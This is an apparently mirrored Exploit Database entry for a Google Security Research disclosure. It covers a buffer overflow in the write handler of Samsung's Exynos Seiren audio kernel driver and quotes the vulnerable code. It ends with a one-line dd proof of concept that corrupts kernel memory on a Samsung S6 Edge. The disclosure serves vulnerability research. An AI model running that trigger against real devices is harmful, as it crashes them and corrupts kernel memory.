Samsung – ‘seiren’ Kernel Driver Buffer Overflow

• Exploit Database
• 13 阅读

• 作者： Google Security Research
  日期： 2015-10-28
• 类别：

  • dos
  平台：

  • android
• 来源：https://www.exploit-db.com/exploits/38556/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=491
  
  The Exynos Seiren Audio driver has a device endpoint (/dev/seiren) that is accessible by either the system user or the audio group (such as the mediaserver). It was found that the write() implementation for this driver contains a buffer overflow vulnerability that overflow a static global buffer:
  
  static ssize_t esa_write(struct file *file, const char *buffer,
  size_t size, loff_t *pos)
  {
  struct esa_rtd *rtd = file->private_data;
  unsigned char *ibuf;
  …
  ibuf = rtd->ibuf0;
  ...
  /* receive stream data from user */
  if (copy_from_user(ibuf, buffer, size)) {
  esa_err("%s: failed to copy_from_user\n", __func__);
  goto err;
  }
  
  Note that the user supplied buffer and size parameters are not adequately bounds checked. The destination buffer is fixed size, so memory corruption can occur. A simple proof-of-concept from a privileged shell can be used to trigger the issue (tested on a Samsung S6 Edge):
  
  # dd if=/dev/zero of=/dev/seiren count=5000000